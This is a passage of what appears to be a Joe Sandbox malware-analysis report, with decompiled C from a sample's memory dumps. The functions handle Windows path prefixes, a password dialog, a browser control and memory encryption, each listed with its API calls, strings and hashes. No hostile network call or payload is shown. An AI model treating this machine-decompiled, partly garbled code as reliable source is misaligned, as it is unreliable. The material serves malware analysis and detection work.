Part of subcall function 0024A384: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0024A1BA,?,?,?,0024A053,?,00000001,00000000,?,?), ref: 0024A3C9

Strings

:, xrefs: 0024777A

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: 46a4317c024b2f3bbcc087017b9cc6dca5ebe57b3bfe6231c569dc5e62eb29e5
Instruction ID: e686b8428f9e90d9b34f5200a8192015f014af5eaa55826eddffc55e9fee1359
Opcode Fuzzy Hash: 46a4317c024b2f3bbcc087017b9cc6dca5ebe57b3bfe6231c569dc5e62eb29e5
Instruction Fuzzy Hash: AF415E71824118AADF29EB50CD49EEFB77CAF41300F4040E9B509A6082DB705FA9DF61

Uniqueness

Uniqueness Score: -1.00%

Function 0024B5AC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0024B5AC(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v4096;
				short _v4100;
				signed short* _t30;
				long _t32;
				short _t33;
				void* _t39;
				signed short* _t52;
				void* _t53;
				signed short* _t62;
				void* _t66;
				intOrPtr _t69;
				signed short* _t71;
				intOrPtr _t73;

				E0025E1C0();
				_t71 = _a4;
				if( *_t71 != 0) {
					E0024B746(_t71);
					_t66 = E002633F3(_t71);
					_t30 = E0024B772(_t71);
					__eflags = _t30;
					if(_t30 == 0) {
						_t32 = GetCurrentDirectoryW(0x7ff,  &_v4100);
						__eflags = _t32;
						if(_t32 == 0) {
							L22:
							_t33 = 0;
							__eflags = 0;
							L23:
							goto L24;
						}
						__eflags = _t32 - 0x7ff;
						if(_t32 > 0x7ff) {
							goto L22;
						}
						__eflags = E0024B84D( *_t71 & 0x0000ffff);
						if(__eflags == 0) {
							E0024B147(__eflags,  &_v4100, 0x800);
							_t39 = E002633F3( &_v4100);
							_t69 = _a12;
							__eflags = _t69 - _t39 + _t66 + 4;
							if(_t69 <= _t39 + _t66 + 4) {
								goto L22;
							}
							E0024FD96(_a8, L"\\\\?\\", _t69);
							E0024FD6E(__eflags, _a8,  &_v4100, _t69);
							__eflags =  *_t71 - 0x2e;
							if(__eflags == 0) {
								__eflags = E0024B84D(_t71[1] & 0x0000ffff);
								if(__eflags != 0) {
									_t71 =  &(_t71[2]);
									__eflags = _t71;
								}
							}
							L19:
							_push(_t69);
							L20:
							_push(_t71);
							L21:
							_push(_a8);
							E0024FD6E(__eflags);
							_t33 = 1;
							goto L23;
						}
						_t13 = _t66 + 6; // 0x6
						_t69 = _a12;
						__eflags = _t69 - _t13;
						if(_t69 <= _t13) {
							goto L22;
						}
						E0024FD96(_a8, L"\\\\?\\", _t69);
						_v4096 = 0;
						E0024FD6E(__eflags, _a8,  &_v4100, _t69);
						goto L19;
					}
					_t52 = E0024B746(_t71);
					__eflags = _t52;
					if(_t52 == 0) {
						_t53 = 0x5c;
						__eflags =  *_t71 - _t53;
						if( *_t71 != _t53) {
							goto L22;
						}
						_t62 =  &(_t71[1]);
						__eflags =  *_t62 - _t53;
						if( *_t62 != _t53) {
							goto L22;
						}
						_t73 = _a12;
						_t9 = _t66 + 6; // 0x6
						__eflags = _t73 - _t9;
						if(_t73 <= _t9) {
							goto L22;
						}
						E0024FD96(_a8, L"\\\\?\\", _t73);
						E0024FD6E(__eflags, _a8, L"UNC", _t73);
						_push(_t73);
						_push(_t62);
						goto L21;
					}
					_t2 = _t66 + 4; // 0x4
					__eflags = _a12 - _t2;
					if(_a12 <= _t2) {
						goto L22;
					}
					E0024FD96(_a8, L"\\\\?\\", _a12);
					_push(_a12);
					goto L20;
				} else {
					_t33 = 0;
					L24:
					return _t33;
				}
			}

0x0024b5b4
0x0024b5ba
0x0024b5c1
0x0024b5cd
0x0024b5da
0x0024b5dc
0x0024b5e1
0x0024b5e3
0x0024b669
0x0024b66f
0x0024b671
0x0024b730
0x0024b730
0x0024b730
0x0024b732
0x00000000
0x0024b733
0x0024b677
0x0024b679
0x00000000
0x00000000
0x0024b688
0x0024b68a
0x0024b6cf
0x0024b6db
0x0024b6e5
0x0024b6e9
0x0024b6eb
0x00000000
0x00000000
0x0024b6f6
0x0024b706
0x0024b70b
0x0024b70f
0x0024b71b
0x0024b71d
0x0024b71f
0x0024b71f
0x0024b71f
0x0024b71d
0x0024b722
0x0024b722
0x0024b723
0x0024b723
0x0024b724
0x0024b724
0x0024b727
0x0024b72c
0x00000000
0x0024b72c
0x0024b68c
0x0024b68f
0x0024b692
0x0024b694
0x00000000
0x00000000
0x0024b6a3
0x0024b6aa
0x0024b6bc
0x00000000
0x0024b6bc
0x0024b5e6
0x0024b5eb
0x0024b5ed
0x0024b615
0x0024b616
0x0024b619
0x00000000
0x00000000
0x0024b61f
0x0024b622
0x0024b625
0x00000000
0x00000000
0x0024b62b
0x0024b62e
0x0024b631
0x0024b633
0x00000000
0x00000000
0x0024b642
0x0024b650
0x0024b655
0x0024b656
0x00000000
0x0024b656
0x0024b5ef
0x0024b5f2
0x0024b5f5
0x00000000
0x00000000
0x0024b606
0x0024b60b
0x00000000
0x0024b5c3
0x0024b5c3
0x0024b734
0x0024b738
0x0024b738

Strings

\\?\, xrefs: 0024B5FE, 0024B63A, 0024B69B, 0024B6EE
UNC, xrefs: 0024B648

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: 8bf190ab7dff2489191093bf5e890dc492e8a3db93c94f8598e0381c423065af
Instruction ID: c773ffc5f23eb73a786410e85b8e8b78cb85d801469c1ea64470b49c7447035c
Opcode Fuzzy Hash: 8bf190ab7dff2489191093bf5e890dc492e8a3db93c94f8598e0381c423065af
Instruction Fuzzy Hash: 90419432870219BACF2AAF60DC81EEFB7ADEF85750F104465F85897151D7B0D974CA60

Uniqueness

Uniqueness Score: -1.00%

Function 002541A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E002541A0(void* __ecx, void* __edx) {
				void* __edi;
				signed int _t57;
				intOrPtr _t59;
				void* _t61;
				intOrPtr _t69;
				short* _t77;
				void* _t80;
				void* _t83;
				short* _t89;
				signed int _t90;
				void* _t95;
				char _t101;
				signed int _t106;
				void* _t107;
				char _t108;
				short* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				char _t115;
				void* _t118;
				void* _t119;
				void* _t121;
				signed short* _t125;
				void* _t127;
				void* _t128;
				void* _t129;

				_t107 = __edx;
				_t128 = _t127 - 0x18;
				_push(_t111);
				_t118 = __ecx;
				 *((intOrPtr*)(_t128 + 0x20)) = 0;
				E0025F1A0(_t111, __ecx + 0x66c, 0, 0x100);
				_t129 = _t128 + 0xc;
				_t112 = _t118 + 0x4a8c;
				E00252EE3(_t107);
				_t57 =  *(_t118 + 0x660);
				if(_t57 >= 0xc) {
					_t57 = 0xc;
				}
				 *(_t118 + 0x668) =  !_t57;
				_t59 = E00252186(_t112);
				 *((intOrPtr*)(_t118 + 0x64c)) = _t59;
				 *((intOrPtr*)(_t118 + 0x644)) = _t59;
				if(_t59 == 0) {
					_t95 = _t129 + 0x1c;
					E00251948(_t95);
					_push(0x27a6a4);
					_t61 = _t129 + 0x20;
					goto L19;
				} else {
					 *((intOrPtr*)(_t59 + 8)) = 0;
					 *(_t118 + 0x65c) =  *(_t118 + 0x660);
					 *((short*)( *((intOrPtr*)(_t118 + 0x644)))) = 0x100;
					 *((short*)( *((intOrPtr*)(_t118 + 0x644)) + 2)) = 0x101;
					_t69 = E002521BB(_t112, 0x80);
					 *((intOrPtr*)( *((intOrPtr*)(_t118 + 0x644)) + 4)) = _t69;
					 *((intOrPtr*)(_t118 + 0x650)) = _t69;
					if(_t69 != 0) {
						_t108 = 0;
						 *(_t118 + 0x664) =  *(_t118 + 0x668);
						_t101 = 0;
						 *((char*)(_t118 + 0xa6d)) = 0;
						do {
							 *((char*)(_t101 +  *((intOrPtr*)( *((intOrPtr*)(_t118 + 0x644)) + 4)))) = _t108;
							_t108 = _t108 + 1;
							 *((char*)( *((intOrPtr*)( *((intOrPtr*)(_t118 + 0x644)) + 4)) + _t101 + 1)) = 1;
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t118 + 0x644)) + 4)) + _t101 + 2)) = 0;
							_t101 = _t101 + 6;
						} while (_t101 < 0x600);
						_t77 = _t118 + 0xa70;
						_t115 = 0;
						 *((intOrPtr*)(_t129 + 0x10)) = _t77;
						do {
							_t125 = 0x273348;
							_t89 = _t77;
							do {
								_t35 = _t115 + 2; // 0x2
								asm("cdq");
								 *(_t129 + 0x18) = ( *_t125 & 0x0000ffff) / _t35;
								_t110 = _t89;
								_t80 = 8;
								do {
									 *_t110 = 0x4000 -  *((intOrPtr*)(_t129 + 0x14));
									_t110 = _t110 + 0x10;
									_t80 = _t80 - 1;
								} while (_t80 != 0);
								_t125 =  &(_t125[1]);
								_t89 = _t89 + 2;
							} while (_t125 < 0x273358);
							_t115 = _t115 + 1;
							_t77 =  *((intOrPtr*)(_t129 + 0x10)) + 0x80;
							 *((intOrPtr*)(_t129 + 0x10)) = _t77;
						} while (_t115 < 0x80);
						_t90 =  *(_t129 + 0x18);
						_t121 = _t118 + 3;
						do {
							_t106 = (_t90 + 2) * 0x28;
							_t83 = 0x10;
							do {
								 *((short*)(_t121 - 1)) = 0x403;
								 *(_t121 - 3) = _t106;
								_t121 = _t121 + 4;
								_t83 = _t83 - 1;
							} while (_t83 != 0);
							_t90 = _t90 + 1;
						} while (_t90 < 0x19);
						return _t83;
					} else {
						_t95 = _t129 + 0x1c;
						E00251948(_t95);
						_push(0x27a6a4);
						_t61 = _t129 + 0x20;
						L19:
						_push(_t61);
						E002613CA();
						asm("int3");
						_push(0);
						_push(_t118);
						_push(_t112);
						_t113 = _t95;
						_t87 = _t113 + 0x98d8;
						_t119 = E002525FB(_t113 + 0x98d8);
						if(_t119 == 0xffffffff) {
							E002523FC(_t87, _t107);
							 *(_t113 + 0xe65c) =  *(_t113 + 0xe65c) & 0x00000000;
						}
						return _t119;
					}
				}
			}

0x002541a0
0x002541a0
0x002541a6
0x002541a7
0x002541b8
0x002541bd
0x002541c2
0x002541c5
0x002541cd
0x002541d2
0x002541db
0x002541df
0x002541df
0x002541e4
0x002541ea
0x002541ef
0x002541f5
0x002541fd
0x00254335
0x00254339
0x0025433e
0x00254343
0x00000000
0x00254203
0x00254203
0x00254211
0x00254222
0x0025422b
0x00254231
0x0025423c
0x0025423f
0x00254247
0x00254266
0x00254268
0x0025426e
0x00254270
0x00254276
0x0025427f
0x00254282
0x0025428c
0x0025429a
0x0025429e
0x002542a1
0x002542a9
0x002542af
0x002542b1
0x002542b5
0x002542b5
0x002542ba
0x002542bc
0x002542c0
0x002542c3
0x002542c8
0x002542cc
0x002542ce
0x002542cf
0x002542d8
0x002542db
0x002542de
0x002542de
0x002542e3
0x002542e6
0x002542e9
0x002542fa
0x002542fb
0x002542fd
0x00254301
0x00254305
0x00254309
0x0025430c
0x00254311
0x00254314
0x00254315
0x00254315
0x0025431b
0x0025431f
0x00254322
0x00254322
0x00254327
0x00254328
0x00254334
0x00254249
0x00254249
0x0025424d
0x00254252
0x00254257
0x00254347
0x00254347
0x00254348
0x0025434d
0x0025434e
0x0025434f
0x00254350
0x00254351
0x00254353
0x00254360
0x00254365
0x00254369
0x0025436e
0x0025436e
0x0025437a
0x0025437a
0x00254247

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00254348

Strings

X3', xrefs: 002542E9
H3', xrefs: 002542B5

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Exception@8Throw
String ID: H3'$X3'
API String ID: 2005118841-119141709
Opcode ID: d1df67bae1b8e2b824e2e29c0990841779195401ecb6e7a5654cdea2efd601b5
Instruction ID: 3cce3c26ec8ef71d6bbb9f920d578886d9c748efaeca9aca054f330c2447440a
Opcode Fuzzy Hash: d1df67bae1b8e2b824e2e29c0990841779195401ecb6e7a5654cdea2efd601b5
Instruction Fuzzy Hash: 714178706107018BD324DF28C881BAAF7E5FF98314F04886DE89EC7351EA72E9688B45

Uniqueness

Uniqueness Score: -1.00%

Function 00258F06 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00258F06(void* __edx, void* __edi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v4;
				signed int* _v20;
				void* __ecx;
				void* __esi;
				intOrPtr _t21;
				char _t22;
				signed int* _t26;
				intOrPtr* _t28;
				intOrPtr _t30;
				void* _t32;
				void* _t34;
				void* _t35;
				void* _t50;
				intOrPtr _t53;
				intOrPtr _t54;
				signed int* _t58;

				_t50 = __edi;
				_t34 = _t35;
				_t53 = _a4;
				 *((intOrPtr*)(_t34 + 4)) = _t53;
				_t21 = E0025E0A0(__edx, _t53, __eflags, 0x30);
				_v4 = _t21;
				if(_t21 == 0) {
					_t22 = 0;
					__eflags = 0;
				} else {
					_t22 = E0025875E(_t21);
				}
				 *((intOrPtr*)(_t34 + 0xc)) = _t22;
				if(_t22 == 0) {
					return _t22;
				} else {
					 *((intOrPtr*)(_t22 + 0x18)) = _t53;
					E0025977F( *((intOrPtr*)(_t34 + 0xc)), L"Shell.Explorer");
					_push(1);
					E002599DE();
					E00259974( *((intOrPtr*)(_t34 + 0xc)), 1);
					_t26 = E00259871( *((intOrPtr*)(_t34 + 0xc)));
					_t58 = _t26;
					if(_t58 == 0) {
						L7:
						__eflags =  *((intOrPtr*)(_t34 + 0x10));
						if( *((intOrPtr*)(_t34 + 0x10)) != 0) {
							E00258976(_t34);
							_t28 =  *((intOrPtr*)(_t34 + 0x10));
							__eflags =  *((intOrPtr*)(_t34 + 0x20));
							_push(0);
							 *((char*)(_t34 + 0x25)) = 0;
							_t54 =  *_t28;
							_push(0);
							_push(0);
							_push(0);
							if( *((intOrPtr*)(_t34 + 0x20)) == 0) {
								_push(L"about:blank");
							} else {
								_push( *((intOrPtr*)(_t34 + 0x20)));
							}
							 *0x272260(_t28);
							_t26 =  *((intOrPtr*)(_t54 + 0x2c))();
						}
						L12:
						return _t26;
					}
					_t10 = _t34 + 0x10; // 0x10
					_t30 = _t10;
					_v4 = _t30;
					 *0x272260(_t58, 0x2743fc, _t30, _t50);
					_t32 =  *((intOrPtr*)( *( *_t58)))();
					 *0x272260(_t58);
					_t26 =  *((intOrPtr*)( *((intOrPtr*)( *_t58 + 8))))();
					if(_t32 >= 0) {
						goto L7;
					}
					_t26 = _v20;
					 *_t26 =  *_t26 & 0x00000000;
					goto L12;
				}
			}

0x00258f06
0x00258f08
0x00258f0b
0x00258f11
0x00258f14
0x00258f19
0x00258f20
0x00258f2b
0x00258f2b
0x00258f22
0x00258f24
0x00258f24
0x00258f2d
0x00258f32
0x00258fe5
0x00258f38
0x00258f39
0x00258f44
0x00258f4c
0x00258f4e
0x00258f58
0x00258f60
0x00258f65
0x00258f69
0x00258faa
0x00258faa
0x00258fae
0x00258fb2
0x00258fb7
0x00258fbc
0x00258fbf
0x00258fc0
0x00258fc3
0x00258fc5
0x00258fc6
0x00258fc7
0x00258fcb
0x00258fd2
0x00258fcd
0x00258fcd
0x00258fcd
0x00258fd8
0x00258fde
0x00258fde
0x00258fe1
0x00000000
0x00258fe1
0x00258f6e
0x00258f6e
0x00258f7d
0x00258f81
0x00258f87
0x00258f94
0x00258f9a
0x00258f9f
0x00000000
0x00000000
0x00258fa1
0x00258fa5
0x00000000
0x00258fa5

APIs

new.LIBCMT ref: 00258F14

Strings

Shell.Explorer, xrefs: 00258F3F
about:blank, xrefs: 00258FD2

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 59bfbe2061ab908da9562cbcc7d8ba140ad51e3861390bf13dd400f9d1730f5f
Instruction ID: 4cbc09084a1a88e933755fb40afdd2e58b2c572d9d30c65abe639552cd0c5224
Opcode Fuzzy Hash: 59bfbe2061ab908da9562cbcc7d8ba140ad51e3861390bf13dd400f9d1730f5f
Instruction Fuzzy Hash: 8C219371224205DFCB08AF64D89592A77A5FF48312B14845DFD0A9F692DFB0EC14CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0025D2A3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E0025D2A3(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				void* _v4100;
				void* __ebx;
				int _t18;
				void* _t20;
				signed int _t23;
				void* _t26;
				signed int _t29;
				signed int _t31;
				signed int _t33;
				struct HWND__* _t47;
				void* _t52;

				E0025E1C0();
				if( *0x28b572 == 0) {
					_t47 =  *0x287438; // 0x103e2
					if(_a4 == 2) {
						_t23 =  *0x2a10a4(_t47);
						asm("sbb eax, eax");
						_t47 = _t47 &  ~_t23;
					}
					E0024B556(_a8, _a12,  &_v4100, 0x800);
					_t18 = DialogBoxParamW( *0x27fed4, L"GETPASSWORD1", _t47, E0025A8E0,  &_v4100);
					_t26 = _a16;
					if(_t18 == 0) {
						E0024EBED(_t26, _t26, 0x2725b4);
						 *0x287447 = 1;
						_t20 = 0;
					} else {
						_t31 = 0x40;
						memcpy(_t26, 0x295a70, _t31 << 2);
						_t52 = _t52 + 0xc;
						_t20 = 1;
						asm("movsw");
					}
					if( *((char*)(_t26 + 0x100)) != 0) {
						_t29 = 0x40;
						_t20 = memcpy(0x28b472, _t26, _t29 << 2);
						asm("movsw");
					}
				} else {
					_t33 = 0x40;
					_t20 = memcpy(_a16, 0x28b472, _t33 << 2);
					asm("movsw");
				}
				return _t20;
			}

0x0025d2ab
0x0025d2bc
0x0025d2d6
0x0025d2dc
0x0025d2df
0x0025d2e7
0x0025d2e9
0x0025d2e9
0x0025d2fe
0x0025d31b
0x0025d321
0x0025d326
0x0025d342
0x0025d347
0x0025d34e
0x0025d328
0x0025d32a
0x0025d332
0x0025d332
0x0025d336
0x0025d337
0x0025d337
0x0025d357
0x0025d35b
0x0025d363
0x0025d365
0x0025d365
0x0025d2be
0x0025d2c8
0x0025d2c9
0x0025d2cb
0x0025d2cb
0x0025d36d

APIs

DialogBoxParamW.USER32(GETPASSWORD1,000103E2,0025A8E0,?,?), ref: 0025D31B

Strings

GETPASSWORD1, xrefs: 0025D310
pZ), xrefs: 0025D32B

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: DialogParam
String ID: GETPASSWORD1$pZ)
API String ID: 665744214-3403624077
Opcode ID: 80ef5d9dad3eefe1e9e2a37b19fb6088b5b1feb55371fc562be5cc4aa3d4382e
Instruction ID: 9630af6ed506fbadd39ed9344bf7dc0d40b8e58bd3c1f62208f7c7423302789f
Opcode Fuzzy Hash: 80ef5d9dad3eefe1e9e2a37b19fb6088b5b1feb55371fc562be5cc4aa3d4382e
Instruction Fuzzy Hash: 3D115E32634208ABDB22DE34AC06BAB37A8BB06352F144074FD49E71C1C7B09C78DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0024EB32 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 0024EAB3: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0024EAD2
Part of subcall function 0024EAB3: GetProcAddress.KERNEL32(002871C0,CryptUnprotectMemory), ref: 0024EAE2

GetCurrentProcessId.KERNEL32(?,?,?,0024EB2C), ref: 0024EBC4

Strings

CryptProtectMemory failed, xrefs: 0024EB7B
CryptUnprotectMemory failed, xrefs: 0024EBBC

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 1916cfb21a75c14aca190957ca5a686dbe792ce99e716c36224a8e91f919e771
Instruction ID: 45f31e8e5e526d6abd40cbdca21bd275c4150e3d050ffc85a5a88d3c3eff737b
Opcode Fuzzy Hash: 1916cfb21a75c14aca190957ca5a686dbe792ce99e716c36224a8e91f919e771
Instruction Fuzzy Hash: 57112931A296259BFF196F24EC09E6E3B54FF41728B064019FC0B6B281D774AD60DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00269A10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00269A10(signed int __ecx, void* __edx) {
				void* __esi;
				intOrPtr _t9;
				intOrPtr _t14;
				intOrPtr _t18;
				signed int _t21;
				signed int _t28;
				intOrPtr _t30;
				intOrPtr _t31;

				_t23 = __ecx;
				_t9 =  *0x2a0274; // 0x200
				_t30 = 3;
				if(_t9 != 0) {
					__eflags = _t9 - _t30;
					if(_t9 < _t30) {
						_t9 = _t30;
						goto L4;
					}
				} else {
					_t9 = 0x200;
					L4:
					 *0x2a0274 = _t9;
				}
				 *0x2a0278 = E00268429(_t23, _t9, 4);
				E0026835E(0);
				if( *0x2a0278 != 0) {
					L8:
					_t28 = 0;
					__eflags = 0;
					_t31 = 0x27d6b0;
					do {
						_t1 = _t31 + 0x20; // 0x27d6d0
						E0026A54A(_t23, _t31, __eflags, _t1, 0xfa0, 0);
						_t14 =  *0x2a0278; // 0x0
						 *((intOrPtr*)(_t14 + _t28 * 4)) = _t31;
						_t23 = (_t28 & 0x0000003f) * 0x30;
						_t18 =  *((intOrPtr*)( *((intOrPtr*)(0x2a0290 + (_t28 >> 6) * 4)) + 0x18 + (_t28 & 0x0000003f) * 0x30));
						__eflags = _t18 - 0xffffffff;
						if(_t18 == 0xffffffff) {
							L12:
							 *((intOrPtr*)(_t31 + 0x10)) = 0xfffffffe;
						} else {
							__eflags = _t18 - 0xfffffffe;
							if(_t18 == 0xfffffffe) {
								goto L12;
							} else {
								__eflags = _t18;
								if(_t18 == 0) {
									goto L12;
								}
							}
						}
						_t31 = _t31 + 0x38;
						_t28 = _t28 + 1;
						__eflags = _t31 - 0x27d758;
					} while (__eflags != 0);
					__eflags = 0;
					return 0;
				} else {
					 *0x2a0274 = _t30;
					 *0x2a0278 = E00268429(_t23, _t30, 4);
					_t21 = E0026835E(0);
					if( *0x2a0278 != 0) {
						goto L8;
					} else {
						return _t21 | 0xffffffff;
					}
				}
			}

0x00269a10
0x00269a10
0x00269a18
0x00269a1b
0x00269a24
0x00269a26
0x00269a28
0x00000000
0x00269a28
0x00269a1d
0x00269a1d
0x00269a2a
0x00269a2a
0x00269a2a
0x00269a39
0x00269a3e
0x00269a4d
0x00269a7a
0x00269a7b
0x00269a7b
0x00269a7d
0x00269a82
0x00269a89
0x00269a8d
0x00269a92
0x00269a9c
0x00269aa4
0x00269aae
0x00269ab2
0x00269ab5
0x00269ac0
0x00269ac0
0x00269ab7
0x00269ab7
0x00269aba
0x00000000
0x00269abc
0x00269abc
0x00269abe
0x00000000
0x00000000
0x00269abe
0x00269aba
0x00269ac7
0x00269aca
0x00269acb
0x00269acb
0x00269ad4
0x00269ad7
0x00269a4f
0x00269a52
0x00269a5f
0x00269a64
0x00269a73
0x00000000
0x00269a75
0x00269a79
0x00269a79
0x00269a73

APIs

_free.LIBCMT ref: 00269A3E
_free.LIBCMT ref: 00269A64

Strings

pY', xrefs: 00269ACB

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: _free
String ID: pY'
API String ID: 269201875-1707336244
Opcode ID: e1ae21ad566e9a91137250094120541d2fd118666a0c916574748f4285365087
Instruction ID: c79bd15b6c1404a306a06bd0694c880c0d67409c29360d13597e05d5397b6f67
